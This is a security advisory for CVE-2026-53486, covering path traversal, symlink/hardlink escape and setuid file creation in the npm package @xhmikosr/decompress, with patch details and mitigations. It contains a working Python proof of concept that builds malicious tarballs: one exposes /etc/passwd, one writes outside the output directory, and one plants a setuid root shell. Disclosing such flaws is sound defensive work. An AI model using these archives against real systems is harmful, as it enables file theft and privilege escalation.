critical · 9.1CVE-2026-53486Jul 6, 2026

CVE-2026-53486: @xhmikosr/decompress Path Traversal, Symlink Escape, and Setuid File Creation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted archive extracted with @xhmikosr/decompress (and the unmaintained upstream decompress package) can write files outside the target directory, expose arbitrary files via hardlinks, and create

Package@xhmikosr/decompress
Ecosystemnpm
Affected< 10.2.1
Fixed in10.2.1

The problem

Three separate flaws exist in the file-write loop that runs for every archive format the library handles (tar, tar.gz, tar.bz2, zip, and any plugin-added formats).

First, hardlink and symlink entries are written without verifying where their target resolves to on disk. A hardlink can point at any file the process can read, copying sensitive data into the output directory. A symlink pointing outside the output directory can redirect a later write to an arbitrary location.

Second, the containment check used a string prefix comparison (`realPath.indexOf(outputPath) !== 0`). This incorrectly allows a path like `/srv/out-old/evil` to pass when the output directory is `/srv/out`, because `/srv/out` is a string prefix of `/srv/out-old`.

Third, file modes were applied as `mode & ~umask` without first stripping setuid (04000), setgid (02000), and sticky (01000) bits. An archive entry with mode `0o4755` creates a setuid-root executable when extraction runs as root, for example in CI pipelines or container build scripts.

Proof of concept

A working proof-of-concept for CVE-2026-53486 in @xhmikosr/decompress, with the exact payload below.

python
#!/usr/bin/env python3
# Generates three malicious tarballs that demonstrate each flaw.
# Requires: pip install python-libarchive-c  (or use the stdlib tarfile)
import tarfile, io, os, stat

# --- 1. Hardlink escape: expose /etc/passwd inside the output dir ---
with tarfile.open('hardlink_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='stolen_passwd')  # appears in ./out/
    info.type = tarfile.LNKTYPE
    info.linkname = '/etc/passwd'                 # absolute hardlink target
    t.addfile(info)

# --- 2. Sibling-directory escape via prefix confusion ---
# Output dir: /tmp/out   Sibling: /tmp/out-secret
# indexOf check sees '/tmp/out' as prefix of '/tmp/out-secret/evil' -> passes
with tarfile.open('sibling_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='../out-secret/evil.txt')
    info.type = tarfile.REGTYPE
    info.size = 6
    t.addfile(info, io.BytesIO(b'pwned\n'))

# --- 3. Setuid bit preservation (root extraction) ---
with tarfile.open('setuid_escape.tar', 'w') as t:
    payload = b'#!/bin/sh\nexec /bin/sh\n'
    info = tarfile.TarInfo(name='rootshell')
    info.type = tarfile.REGTYPE
    info.size = len(payload)
    info.mode = 0o4755            # setuid + rwxr-xr-x; umask does not strip setuid
    t.addfile(info, io.BytesIO(payload))

# Extract each with decompress (< 10.2.1) to observe the impact:
# const decompress = require('@xhmikosr/decompress');
# await decompress('hardlink_escape.tar', '/tmp/out');   // /tmp/out/stolen_passwd == /etc/passwd
# await decompress('sibling_escape.tar',  '/tmp/out');   // writes to /tmp/out-secret/evil.txt
# await decompress('setuid_escape.tar',   '/tmp/out');   // /tmp/out/rootshell has setuid bit set
print('Malicious archives written.')

Bug 1 (CWE-59, link following): the library called `fs.link()` / `fs.symlink()` directly from the archive entry's `linkname` field with no target resolution. The patch now calls `fs.realpath()` on the resolved link target and checks it falls inside the output directory before creating the link.

Bug 2 (CWE-22, path traversal): `realPath.indexOf(outputPath) !== 0` is a string prefix test, not a path containment test. `/tmp/out-evil` starts with `/tmp/out`, so the check passes. The patch replaces this with `path.relative(outputPath, realPath)` and rejects any result that starts with `..`.

Bug 3 (CWE-732, incorrect permission): `mode & ~umask` passes the setuid/setgid/sticky bits straight through because the umask does not mask them by default. The patch explicitly clears those bits with `mode & ~0o7000` before writing the file mode.

The fix

Update to `@xhmikosr/decompress` 10.2.1 (v10 line) or 11.1.3 (v11 line). The upstream `decompress` package (last release 4.2.1) is unmaintained and has the same flaws with no fix available; migrate away from it entirely. As a short-term workaround, extract only archives from trusted sources, run extraction as a non-root user, and audit extracted output for unexpected symlinks, hardlinks, and setuid/setgid bits.

Reporter not attributed.

References: [1][2][3][4][5]

Related research